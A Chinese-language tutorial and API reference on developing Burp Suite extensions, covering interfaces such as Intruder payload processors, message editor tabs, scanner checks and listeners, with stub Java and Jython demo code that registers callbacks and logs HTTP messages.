// 此方法由 Burp 调用,用于创建一个 payload 生成器的新实例。当用户发动一次 Intruder 攻击时,将会使用该方法返回的 payload 生成器的实例

IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack)

// 此方法由 Burp 调用,用于获取 payload 生成器的名称
java.lang.String getGeneratorName()

IIntruderPayloadProcessor

public interface IIntruderPayloadProcessor

扩展可以实现此接口,并且可以调用 IBurpExtenderCallbacks.registerIntruderPayloadProcessor() 注册一个自定义 Intruder 工具的 payload 的处理器。此接口会将当前插件注册为一个 Intruder 工具的 payload 处理器。

该接口提供了以下方法:

1
2
3
4
5
6
7
8
#!java
// 此方法由 Burp 调用,用于获取 payload 处理器的名称
java.lang.String getProcessorName()

// 此方法由 Burp 调用,当处理器每次应用 payload 到一次 Intruder 攻击时,Burp 都会调用一次此方法
byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue)

// processPayload 方法说明:

参数说明:

  • currentPayload - 当前已被处理过的 payload 的值
  • originalPayload - 在应用处理规则之前的 payload 的原始值
  • baseValue - payload 位置的基准值,将用当前已被处理过的 payload 替代

返回值:返回已被处理过的 payload 的值。 如果返回 null 意味着当前的 payload 将被跳过,并且此次攻击将被直接移动到下一个 payload 。

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!java
package burp;

public class BurpExtender implements IBurpExtender, IIntruderPayloadProcessor{

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){
callbacks.setExtensionName("Her0in");
// 将当前插件注册为一个 Intruder 工具的 payload 处理器
callbacks.registerIntruderPayloadProcessor(this);
}

// 此方法由 Burp 调用
@Override
public String getProcessorName() {
// 设置自定义 payload 处理器的名称
return "自定义 payload 处理器";
}

// 此方法由 Burp 调用,且会在每次使用一个 payload 发动攻击时都会调用一次此方法
@Override
public byte[] processPayload(byte[] currentPayload, byte[] originalPayload,
byte[] baseValue) {
// TODO here
return null;
}
}

在 Burp 加载了上述插件后,可以按照下图标红的步骤操作,即可看到自定义的 payload 生成器:

img

IMenuItemHandler

public interface IMenuItemHandler

此接口已过时,不推荐再使用,请使用IContextMenuFactory代替。

扩展可以实现此接口,并且通过调用 IBurpExtenderCallbacks.registerMenuItem() 方法注册一个自定义的上下文菜单项。

此接口提供了如下方法:

1
2
3
#!java
// 当用户单击一个已经在 Burp 中注册过的上下文菜单项时 Burp 会调用一次此方法。不过,此方法已经过时
void menuItemClicked(java.lang.String menuItemCaption, IHttpRequestResponse[] messageInfo)

IMessageEditor

public interface IMessageEditor

此接口被用于使用 Burp 的 HTTP 消息编辑框的实例提供扩展功能,以便扩展插件可以在它自己的 UI 中使用消息编辑框,扩展插件可以通过调用 IBurpExtenderCallbacks.createMessageEditor() 获得此接口的实例。

此接口提供了以下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!java
// 此方法返回了编辑器的 UI 组件,扩展插件可以将其添加到自己的 UI 中
java.awt.Component getComponent()

// 此方法用于获取当前已显示的消息,此消息可能已被用户修改
byte[] getMessage()

// 此方法返回了用户当前所选择的数据
byte[] getSelectedData()

// 此方法用于决定当前的消息是否可被用户修改
boolean isMessageModified()

// 此方法用于将一个 HTTP 消息显示在编辑器中
void setMessage(byte[] message, boolean isRequest)

注: 此接口需要与 IMessageEditorTabFactory 等相关接口一起使用。

Demo code:

1
请见 IMessageEditorTabFactory 的实例代码。

IMessageEditorController

public interface IMessageEditorController

此接口被用于 IMessageEditor 获取当前显示的消息的细节。创建了 Burp 的 HTTP 消息编辑器实例的扩展插件可以有选择的实现 IMessageEditorController 接口,当扩展插件需要当前消息的其他信息时,编辑器将会调用此接口(例如:发送当前消息到其他的 Burp 工具中)。扩展通过 IMessageEditorTabFactory 工厂提供自定义的编辑器标签页,此工厂的 createNewInstance 方法接受一个由该工厂所生成的每一个标签页的 IMessageEditorController 对象的引用,当标签页需要当前消息的其他信息时,则会调用该对象。

此方法提供了以下方法:

1
2
3
4
5
6
7
8
9
#!java
// 此方法用于获取当前消息的 HTTP 服务信息
IHttpService getHttpService()

// 此方法用于获取当前消息的 HTTP 请求(也有可能是一个响应消息)
byte[] getRequest()

// 此方法用于获取当前消息的 HTTP 响应(也有可能是一个请求消息)
byte[] getResponse()

Demo code:

1
请见 IMessageEditorTabFactory 的实例代码。

IMessageEditorTab

public interface IMessageEditorTab

扩展插件通过注册 IMessageEditorTabFactory 工厂,此工厂的 createNewInstance 返回一个当前接口的实例,Burp 将会在其 HTTP 消息编辑器中创建自定义的标签页。

此接口提供了如下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!java
// 此方法返回当前显示的消息
byte[] getMessage()

// 此方法用于获取当前已被用户选择的数据
byte[] getSelectedData()

// 此方法返回自定义标签页的标题
java.lang.String getTabCaption()

// 此方法返回自定义标签页内容的组件
java.awt.Component getUiComponent()

// 此方法用于指示在显示一个新的 HTTP 消息时,是否启用自定义的标签页
boolean isEnabled(byte[] content, boolean isRequest)

// 此方法用于决定当前显示的消息是否可被用户修改
boolean isModified()

// 此方法可以显示一个新的消息或者清空已存在的消息
void setMessage(byte[] content, boolean isRequest)

Demo code:

1
请见 IMessageEditorTabFactory 的实例代码。

IMessageEditorTabFactory

public interface IMessageEditorTabFactory

扩展可以实现此接口,并且可以调用 IBurpExtenderCallbacks.registerMessageEditorTabFactory() 注册一个自定义的消息编辑器标签页的工厂。扩展插件可以在 Burp 的 HTTP 编辑器中渲染或编辑 HTTP 消息。

此接口提供了一个方法:

1
2
3
#!java
// Burp 将会对每一个 HTTP 消息编辑器调用一次此方法,此工厂必须返回一个新的 IMessageEditorTab 对象
IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable)

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!java
package burp;

import java.awt.Component;
import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IMessageEditorTabFactory{

public PrintWriter stdout;
public IExtensionHelpers helpers;
private IBurpExtenderCallbacks callbacks;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.callbacks = callbacks;
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerMessageEditorTabFactory(this);
}

@Override
public IMessageEditorTab createNewInstance(
IMessageEditorController controller, boolean editable) {
// 返回 IMessageEditorTab 的实例
return new iMessageEditorTab();
}

class iMessageEditorTab implements IMessageEditorTab{

// 创建一个新的文本编辑器
private ITextEditor iTextEditor = callbacks.createTextEditor();

@Override
public String getTabCaption() {
// 设置消息编辑器标签页的标题
return "测试 MessageEditorTab";
}

@Override
public Component getUiComponent() {
// 返回 iTextEditor 的组件信息,当然也可以放置其他的组件
return iTextEditor.getComponent();
}

@Override
public boolean isEnabled(byte[] content, boolean isRequest) {
// 在显示一个新的 HTTP 消息时,启用自定义的标签页
// 通过 content 和 isRequest 也可以对特定的消息进行设置
return true;
}

@Override
public void setMessage(byte[] content, boolean isRequest) {
// 把请求消息里面的 data 参数进行 Base64 编码操作
// 这里并未处理参数中没有 data 时的异常
IParameter parameter = helpers.getRequestParameter(content, "data");
stdout.println("data = " + parameter.getValue());
iTextEditor.setText(helpers.stringToBytes(helpers.base64Encode(parameter.getValue())));
}

@Override
public byte[] getMessage() {
// 获取 iTextEditor 的文本
return iTextEditor.getText();
}

@Override
public boolean isModified() {
// 允许用户修改当前的消息
return true;
}

@Override
public byte[] getSelectedData() {
// 直接返回 iTextEditor 中选中的文本
return iTextEditor.getSelectedText();
}

}
}

加载上述代码生成的插件后,会显示自定义的标签页和文本编辑器。

注意:官网提供的自定义消息编辑器的代码有误!

img

IParameter

public interface IParameter

此接口用于操控 HTTP 请求参数,开发者通过此接口可以灵活的获取请求或响应里的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!java
// 此方法用于获取参数名称
java.lang.String getName()

// 此方法用于获取在 HTTP 请求里面的最后一个参数的名称
int getNameEnd()

// 此方法用于获取在 HTTP 请求里面的第一个参数的名称
int getNameStart()

// 此方法用于获取参数类型,参数的类型在 IParameter 接口中有定义
byte getType()

// 此方法用于获取参数的值
java.lang.String getValue()

// 此方法用于获取最后一个参数的值
int getValueEnd()

// 此方法用于获取第一个参数的值
int getValueStart()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!java
package burp;

import java.io.PrintWriter;
import java.util.List;

public class BurpExtender implements IBurpExtender, IHttpListener{

public PrintWriter stdout;
public IExtensionHelpers helpers;
private IBurpExtenderCallbacks callbacks;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.callbacks = callbacks;
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerHttpListener(this);
}

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
// 获取请求中的参数
if(messageIsRequest){
IRequestInfo iRequestInfo = helpers.analyzeRequest(messageInfo);
// 获取请求中的所有参数
List<IParameter> iParameters = iRequestInfo.getParameters();
for (IParameter iParameter : iParameters) {
if(iParameter.getType() == IParameter.PARAM_URL)
stdout.println("参数:" + iParameter.getName() + " 在 URL中");
stdout.println("参数:" + iParameter.getName() + " 的值为:" + iParameter.getValue());
}
}

}
}

加载上述代码生成的插件后,执行效果如下图所示:

img

IProxyListener

public interface IProxyListener

扩展可以实现此接口,并且可以通过调用 IBurpExtenderCallbacks.registerProxyListener()注册一个代理监听器。在代理工具处理了请求或响应后会通知此监听器。扩展插件通过注册这样一个监听器,对这些消息执行自定义的分析或修改操作。

此接口提供了一个很常用的方法:

1
2
3
#!java
// 当代理工具处理 HTTP 消息时则会调用此方法
void processProxyMessage(boolean messageIsRequest, IInterceptedProxyMessage message)

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!java
package burp;

import java.io.PrintWriter;
public class BurpExtender implements IBurpExtender, IProxyListener{

public PrintWriter stdout;
public IExtensionHelpers helpers;
private IBurpExtenderCallbacks callbacks;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.callbacks = callbacks;
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerProxyListener(this);
}

@Override
public void processProxyMessage(boolean messageIsRequest,
IInterceptedProxyMessage message) {
// TODO here
}
}

IRequestInfo

public interface IRequestInfo

此接口被用于获取一个 HTTP 请求的详细信息。扩展插件可以通过调用 IExtensionHelpers.analyzeRequest() 获得一个 IRequestInfo 对象。

此接口提供了以下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!java  
// 此方法用于获取 HTTP body 在请求消息中的起始偏移量
int getBodyOffset()

// 此方法用于获取请求消息的 HTTP 类型
byte getContentType()

// 此方法用于获取请求中包含的 HTTP 头
java.util.List<java.lang.String> getHeaders()

// 此方法用于获取请求的 HTTP 方法
java.lang.String getMethod()

// 此方法用于获取请求中包含的参数
java.util.List<IParameter> getParameters()

// 此方法用于获取请求中的 URL
java.net.URL getUrl()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!java
package burp;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IHttpListener{

public PrintWriter stdout;
public IExtensionHelpers helpers;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerHttpListener(this);
}

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
// 打印出请求的 Url 和 响应码
if(messageIsRequest){
stdout.println(helpers.bytesToString(messageInfo.getRequest()));
}
else{
IResponseInfo responseInfo = helpers.analyzeResponse(messageInfo.getResponse());
short statusCode = responseInfo.getStatusCode();
stdout.printf("响应码 => %d\r\n", statusCode);
}
}
}

加载上述代码生成的插件后,执行效果如下图所示:

img

IResponseInfo

public interface IResponseInfo

此接口被用于获取一个 HTTP 请求的详细信息。扩展插件可以通过调用 IExtensionHelpers. analyzeResponse() 获得一个 IResponseInfo 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!java
// 此方法用于获取 HTTP body 在响应消息中的起始偏移量
int getBodyOffset()

// 此方法用于获取响应消息中设置的 HTTP Cookie
java.util.List<ICookie> getCookies()

// 此方法用于获取包含在响应消息中的 HTTP 头
java.util.List<java.lang.String> getHeaders()

// 此方法用于获取根据 HTTP 响应判断出的 MIME 类型
java.lang.String getInferredMimeType()

// 此方法用于获取 HTTP 响应头中指示的 MIME 类型
java.lang.String getStatedMimeType()

// 此方法用于获取 HTTP 状态码
short getStatusCode()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!java
package burp;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IHttpListener{

public PrintWriter stdout;
public IExtensionHelpers helpers;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerHttpListener(this);
}

@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
// 打印出请求的 Url 和 响应码
if(messageIsRequest){
stdout.println(helpers.bytesToString(messageInfo.getRequest()));
}
else{
IResponseInfo responseInfo = helpers.analyzeResponse(messageInfo.getResponse());
short statusCode = responseInfo.getStatusCode();
stdout.printf("响应码 => %d\r\n", statusCode);
}
}
}

IScanIssue

public interface IScanIssue

此接口用于获取 Scanner 工具扫描到的问题的细节。扩展可以通过注册一个 IScannerListener或者是 通过调用 IBurpExtenderCallbacks.getScanIssues() 获取扫描问题的细节。扩展同样可以通过注册 IScannerCheck 接口或者是调用 IBurpExtenderCallbacks.addScanIssue() 方法来自定义扫描问题,此时扩展需要提供它对此接口的实现。

此接口提供了以下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!java  
// 此方法返回扫描问题的信任等级
java.lang.String getConfidence()

// 此方法返回生成扫描问题所对应的 HTTP 消息
IHttpRequestResponse[] getHttpMessages()

// 此方法返回生成扫描问题所对应的 HTTP 服务信息
IHttpService getHttpService()

// 此方法返回指定扫描问题类型的背景描述信息
java.lang.String getIssueBackground()

// 此方法返回指定的扫描问题的详细信息
java.lang.String getIssueDetail()

// 此方法返回扫描问题类型的名称
java.lang.String getIssueName()

// 此方法返回扫描问题类型的数字标志符
int getIssueType()

// 此方法返回指定扫描问题的解决方式的背景描述信息
java.lang.String getRemediationBackground()

// 此方法返回指定扫描问题的解决方式的背景详情
java.lang.String getRemediationDetail()

// 此方法返回扫描问题的错误等级
java.lang.String getSeverity()

// 此方法返回生成扫描问题对应的 URL 信息
java.net.URL getUrl()

Demo code:

1
请见 IScannerListener 的实例代码。

IScannerCheck

public interface IScannerCheck

扩展可以实现此接口,之后可以通过调用 IBurpExtenderCallbacks.registerScannerCheck()注册一个自定义的 Scanner 工具的检查器。Burp 将会告知检查器执行“主动扫描”或“被动扫描”,并且在确认扫描到问题时给出报告。

1
2
3
4
5
6
7
8
9
#!java
// 当自定义的Scanner工具的检查器针对同一个 URL 路径报告了多个扫描问题时,Scanner 工具会调用此方法
int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue)

// Scanner 工具会对每一个可插入的点执行“主动扫描”
java.util.List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint)

// Scanner 工具会对每一个可插入的点执行“被动扫描”
java.util.List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse)

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!java
package burp;

import java.io.PrintWriter;
import java.util.List;

public class BurpExtender implements IBurpExtender, IScannerCheck{

public PrintWriter stdout;
public IExtensionHelpers helpers;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerScannerCheck(this);
}

@Override
public List<IScanIssue> doPassiveScan(
IHttpRequestResponse baseRequestResponse) {
// TODO here
return null;
}

@Override
public List<IScanIssue> doActiveScan(
IHttpRequestResponse baseRequestResponse,
IScannerInsertionPoint insertionPoint) {
// TODO here
return null;
}

@Override
public int consolidateDuplicateIssues(IScanIssue existingIssue,
IScanIssue newIssue) {
// TODO here
return 0;
}
}

IScannerInsertionPoint

public interface IScannerInsertionPoint

此接口被用于定义一个用于Scanner工具检查器扫描的插入点。扩展可以通过注册 IScannerCheck 获得此接口实例,或者通过注册 IScannerInsertionPointProvider 创建一个 Burp 所使用的扫描检查器实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!java  
// 此方法用于使用指定的 payload 在插入点构建一个请求
byte[] buildRequest(byte[] payload)

// 此方法返回插入点的基本值
java.lang.String getBaseValue()

// 此方法返回插入点的名称
java.lang.String getInsertionPointName()

// 此方法返回插入点的类型,插入点类型在IScannerInsertionPoint接口中定义
byte getInsertionPointType()

// 当使用指定的 payload 替换到插入点时,此方法可以决定 payload 在请求中的偏移量
int[] getPayloadOffsets(byte[] payload)

Demo code:

1
请见 IScannerCheck 的实例代码。  

IScannerInsertionPointProvider

public interface IScannerInsertionPointProvider

扩展可以实现此接口并且可以通过调用 IBurpExtenderCallbacks.registerScannerInsertionPointProvider() 注册自定义扫描插入点的工厂。

此接口提供了以下方法:

1
2
3
#!java
// 当扫描请求为“主动扫描”时, Scanner 工具将会调用此方法,并且提供者应该提供一个自定义插入点的列表以便用于扫描
java.util.List<IScannerInsertionPoint> getInsertionPoints(IHttpRequestResponse baseRequestResponse)

IScannerListener

public interface IScannerListener

扩展可以实现此接口,并且可以通过调用 IBurpExtenderCallbacks.registerScannerListener() 注册一个 Scanner 工具的监听器。当 Scanner 工具扫描到新的问题时,会通知此监听器。扩展通过注册这样的监听器用于针对扫描问题自定义的分析和记录。

此接口提供了以下方法:

1
2
3
#!java
// 当一个新的扫描问题被添加到 Burp 的Scanner工具的扫描结果中时,此方法将被 Burp 调用
void newScanIssue(IScanIssue issue)

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!java  
package burp;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IScannerListener{

public PrintWriter stdout;
public IExtensionHelpers helpers;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerScannerListener(this);
}

@Override
public void newScanIssue(IScanIssue issue) {
// TODO Auto-generated method stub
stdout.println("扫描到新的问题 :");
stdout.println("url => " + issue.getUrl());
stdout.println("详情 => " + issue.getIssueDetail());
}
}

加载上述代码生成的插件后,执行效果如下图所示:

img

IScanQueueItem

public interface IScanQueueItem

此接口被用于获取在 Burp 的 Scanner 工具中激活的扫描队列里的项目详情。扩展可以通过调用 IBurpExtenderCallbacks.doActiveScan() 获得扫描队列项目的引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!java  
// 此方法可以取消扫描队列项目中的扫描状态
void cancel()

// 获取扫描队列项目生成的问题的细节
IScanIssue[] getIssues()

// 此方法返回扫描队列项目发生错误时的网络错误号
int getNumErrors()

// 此方法返回扫描队列项目的攻击插入点的数量
int getNumInsertionPoints()

// 此方法返回扫描队列项目已经发出的请求的数量
int getNumRequests()

// 此方法返回扫描队列项目中已经完成扫描的百分比
byte getPercentageComplete()

// 此方法返回扫描队列项目的状态描述
java.lang.String getStatus()

IScopeChangeListener

public interface IScopeChangeListener

扩展可以实现此接口并且可以通过调用 IBurpExtenderCallbacks.registerScopeChangeListener() 注册一个 Target 工具下的 scope 变化监听器。当 Burp 的 Target 工具下的 scope 发生变化时,将会通知此接口。

此接口提供了以下方法:

1
2
3
#!java
// 当 Burp 的 Target 工具下的 scope 发生变化时,将会调用此方法。
void scopeChanged()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!java  
package burp;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IScopeChangeListener{

public PrintWriter stdout;
public IExtensionHelpers helpers;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
callbacks.registerScopeChangeListener(this);
}

@Override
public void scopeChanged() {
// 手动添加或右键菜单添加目标到 scope 列表,就会执行此方法
stdout.println("scope 有变化!");
}
}

加载上述代码生成的插件后,执行效果如下图所示:

img

ISessionHandlingAction

public interface ISessionHandlingAction

扩展可以实现此方法并且可以通过调用 IBurpExtenderCallbacks.registerSessionHandlingAction() 注册一个自定义的会话操作动作。每一个已注册的会话操作动作在会话操作规则的UI中都是可用的,并且用户可以选择其中一个作为会话操作行为的规则。用户可以选择直接调用操作,也可以按照宏定义调用操作。

此接口调用了如下方法:

1
2
3
4
5
6
#!java      
// 此方法由 Burp 调用获取会话操作行为的名称
java.lang.String getActionName()

// 当会话操作行为被执行时会调用此方法
void performAction(IHttpRequestResponse currentRequest, IHttpRequestResponse[] macroItems)

ITab

public interface ITab

此接口用于自定义的标签页,调用 IBurpExtenderCallbacks.addSuiteTab() 方法可以在 Burp 的 UI 中显示自定义的标签页。

1
2
3
4
5
6
#!java  
// 此方法用于获取自定义标签的标题文本
java.lang.String getTabCaption()

// Burp 调用此方法获取自定义标签页显示的组件
java.awt.Component getUiComponent()

Demo code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!java
package burp;

import java.awt.Component;
import java.io.PrintWriter;

import javax.swing.JButton;
import javax.swing.JPanel;
import javax.swing.SwingUtilities;

public class BurpExtender implements IBurpExtender, ITab{

public PrintWriter stdout;
public IExtensionHelpers helpers;

private JPanel jPanel1;
private JButton jButton1;

@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks){

this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("Her0in");
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
//创建一个 JPanel
jPanel1 = new JPanel();
jButton1 = new JButton("点我");

// 将按钮添加到面板中
jPanel1.add(jButton1);

//自定义的 UI 组件
callbacks.customizeUiComponent(jPanel1);
//将自定义的标签页添加到Burp UI 中
callbacks.addSuiteTab(BurpExtender.this);
}
});
}

@Override
public String getTabCaption() {
// 返回自定义标签页的标题
return "Her0in";
}

@Override
public Component getUiComponent() {
// 返回自定义标签页中的面板的组件对象
return jPanel1;
}
}

加载上述代码生成的插件后,执行效果如下图所示:

img

ITempFile

public interface ITempFile

此接口用于操作调用 IBurpExtenderCallbacks.saveToTempFile() 创建的临时文件。

1
2
3
4
5
6
#!java
// 删除临时文件,此方法已过时
void delete()

// 此方法用于获取临时文件内容的缓冲区
byte[] getBuffer()

ITextEditor

public interface ITextEditor

此接口用于扩展 Burp 的 原始文本编辑器,扩展通过调用 IBurpExtenderCallbacks.createTextEditor() 获得一个此接口的实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!java  
// 此方法返回用于扩展添加自定义的编辑器的 UI 组件
java.awt.Component getComponent()

// 此方法用于获取当前的已选择的文本
byte[] getSelectedText()

// 此方法用于获取用户在已显示的文本中选择的边界
int[] getSelectionBounds()

// 此方法用于获取当前已显示的文本
byte[] getText()

// 此方法用于指示用户是否对编辑器的内容做了修改
boolean isTextModified()

// 此方法用于决定当前的编辑器是否可编辑
void setEditable(boolean editable)

// 此方法用于更新编辑器下边的搜索框的搜索表达式
void setSearchExpression(java.lang.String expression)

// 此方法用于更新编辑器中当前已显示的文本
void setText(byte[] text)

Demo code:

1
请见 IMessageEditorTabFactory 的实例代码。

转自:https://www.tuicool.com/articles/aaaa6fA

Burp Extender Apis 插件开发 (一)

0x01 安装环境

先需要安装jython环境,下载地址
https://www.jython.org/download

图片

下载好jython后,开始配置burpsuite,如下图所示

图片

那么这时候就已经配置好burpsuite的jython环境和模块,只要加载py脚本即可。

0x02 Burp Extender Apis

介绍下burpsuite提供的各个接口。burpsuite软件本身也提供了api文档

图片

也可以查看官方api地址:https://portswigger.net/burp/extender/api/allclasses-noframe.html

图片

接口大致可以分为四类

插件入口和帮助接口类:IBurpExtender、IBurpExtenderCallbacks、IExtensionHelpers、IExtensionStateListener

1
2
3
4
5
IBurpExtender接口类是Burp插件的入口,所有Burp的插件均需要实现此接口,并且类命名为BurpExtender。

IBurpExtenderCallbacks接口类是IBurpExtender接口的实现类与Burp其他各个组件(Scanner、Intruder、Spider......)、各个通信对象(HttpRequestResponse、HttpService、SessionHandlingAction)之间的纽带。

IExtensionHelpers、IExtensionStateListener这两个接口类是插件的帮助和管理操作的接口定义。

UI相关接口类:IContextMenuFactory、IContextMenuInvocation、ITab、ITextEditor、IMessageEditor、IMenuItemHandler

1
这类接口类主要是定义Burp插件的UI显示和动作的处理事件,主要是软件交互中使用。

Burp工具组件接口类:IInterceptedProxyMessage、IIntruderAttack、IIntruderPayloadGenerator、IIntruderPayloadGeneratorFactory、IIntruderPayloadProcessor、IProxyListener、IScanIssue、IScannerCheck、IScannerInsertionPoint、IScannerInsertionPointProvider、IScannerListener、IScanQueueItem、IScopeChangeListener

1
这些接口类的功能非常好理解,Burp在接口定义的命名中使用了的见名知意的规范,看到接口类的名称,基本就能猜测出来这个接口是适用于哪个工具组件。

HTTP消息处理接口类:ICookie、IHttpListener、IHttpRequestResponse、IHttpRequestResponsePersisted、IHttpRequestResponseWithMarkers、IHttpService、IRequestInfo、IParameter、IResponseInfo

1
这些接口的定义主要是围绕HTTP消息通信过程中涉及的Cookie、Request、Response、Parameter几大消息对象,通过对通信消息头、消息体的数据处理,来达到控制HTTP消息传递的目的。

0x03 尝试写一个最简单的demo

首先导入Burp插件的入口IBurpExtender接口类,因为后续所有的功能代码都是从该类里编写
from burp import IBurpExtender
所有Burp的插件均需要实现此接口,并且类命名为BurpExtender
class BurpExtender(IBurpExtender):
加载扩展时调用此方法。它注册IBurpExtenderCallbacks接口的实例 ,并且提供扩展可以调用的方法来执行各种操作。
def registerExtenderCallbacks(self, callbacks):
整体代码如下:

1
2
3
4
5
6
7
8
9
from burp import IBurpExtender

class BurpExtender(IBurpExtender):

def registerExtenderCallbacks(self, callbacks):

# your extension code here

return

这个空的扩展不执行任何操作,但是仍然可以将其加载到Burp中

图片

成功加载我们自己自定义的py插件

图片

Burp Suite使用此接口将一组回调方法传递给扩展,扩展可以使用这些回调方法在Burp中执行各种操作。加载扩展时,Burp调用其 registerExtenderCallbacks()方法并传递IBurpExtenderCallbacks接口的实例 。然后,扩展可以根据需要调用此接口的方法,以扩展Burp的功能。

下面学习各个模块的触发代码以及如何生成上下文菜单

0x04 IBurpExtenderCallbacks

来看下此接口有哪些方法

图片

可以看到方法非常的多,根据自己的需求选择对应的方法。
setExtensionName(java.lang.String name)
此方法用于设置当前扩展名的显示名称,该名称将显示在扩展器工具的用户界面中。
self._callbacks.setExtensionName(“SQL Inject”)

图片

注册功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 注册一个 HTTP 监听器,那么当我们开启Burp监听的 HTTP 请求或收到的 HTTP 响应都会通知此监听器(需要导入IHttpListener)
from burp import IBurpExtender
from burp import IHttpListener

class BurpExtender(IBurpExtender,IHttpListener):
def registerExtenderCallbacks(self,callbacks):
#注册HTTP监听器
callbacks.registerHttpListener(self)

# 注册菜单上下文
# register message editor tab factory
callbacks.registerMessageEditorTabFactory(self)
# register menu item factory
callbacks.registerContextMenuFactory(self)

注册扫描

callbacks.registerScannerCheck(self)

getHelpers() 调用该方法返回对象IExtensionHelpers
此方法用于获取IExtensionHelpers对象,扩展可以使用该对象构建和分析HTTP请求。
self._helpers = callbacks.getHelpers()
那么代码就可以写成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class BurpExtender(IBurpExtender, IHttpListener):

def registerExtenderCallbacks(self, callbacks):

self._callbacks = callbacks

# 用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers = callbacks.getHelpers()

# 用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name - 扩展名。。
self._callbacks.setExtensionName("SQL Inject")

